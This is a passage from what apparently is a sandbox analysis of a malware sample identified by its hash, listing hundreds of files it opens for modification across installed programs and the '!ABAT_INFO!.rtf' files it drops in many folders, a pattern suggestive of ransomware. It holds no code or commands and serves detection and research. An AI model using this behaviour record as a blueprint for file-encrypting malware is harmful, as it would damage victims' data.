Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh88 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.shell_0.10.0.v201212101605.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins_1.1.200.v20131119-0908.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+5 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\MDIParent.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Urumqi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Chuuk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Tallinn 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help_3.6.0.v20130326-1254.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\ResumeWait.ocx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\soundcloud.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\stopNetworkServer 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rankin_Inlet 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Pangnirtung 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository_2.3.0.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-awt_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Sitka 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Troll 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jps.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\ant-javafx.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvmstat_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt_0.11.101.v20140818-1343.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Cayman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgePackages.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\orbd.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\javafx-mx.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluTSFrame.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_ko.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding_1.4.2.v20140729-1044.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Sao_Paulo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Andorra 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\acro20.lng 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Ushuaia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.batik.util.gui_1.7.0.v200903091627.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Reykjavik 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Shorthand.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\SmallLogo.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\DataSet.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-spi-quicksearch.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Lindeman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fontconfig.properties.src 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Maceio 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Belgrade 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\vlc-cache-gen.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher_1.3.0.v20140415-2008.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Port_Moresby 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\San_Juan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Gaza 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.console_1.1.0.v20140131-1639.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ho_Chi_Minh 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Casablanca 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Cocos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicHandle.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Zaporozhye 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\default.vlt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaTypewriterBold.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Nauru 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.webapp_3.6.300.v20140407-1855.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-nodes_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Ndjamena 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleCrashHandler64.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\plugin.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Manaus 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\El_Salvador 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.attach_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services_1.1.0.v20140328-1925.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-javahelp_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-2 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Urumqi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Gambier 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\java-rmi.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Monrovia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Zurich 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\da.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_pl.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Vladivostok 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Minsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Asuncion 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\PingEdit.ppsx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Memo.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\klist.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\stopNetworkServer.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.actionProvider.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\sunmscapi.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Vilnius 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\3RDPARTY 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Madeira 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-output2.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.webapp.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-windows.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\CST6CDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\access-bridge-64.jar 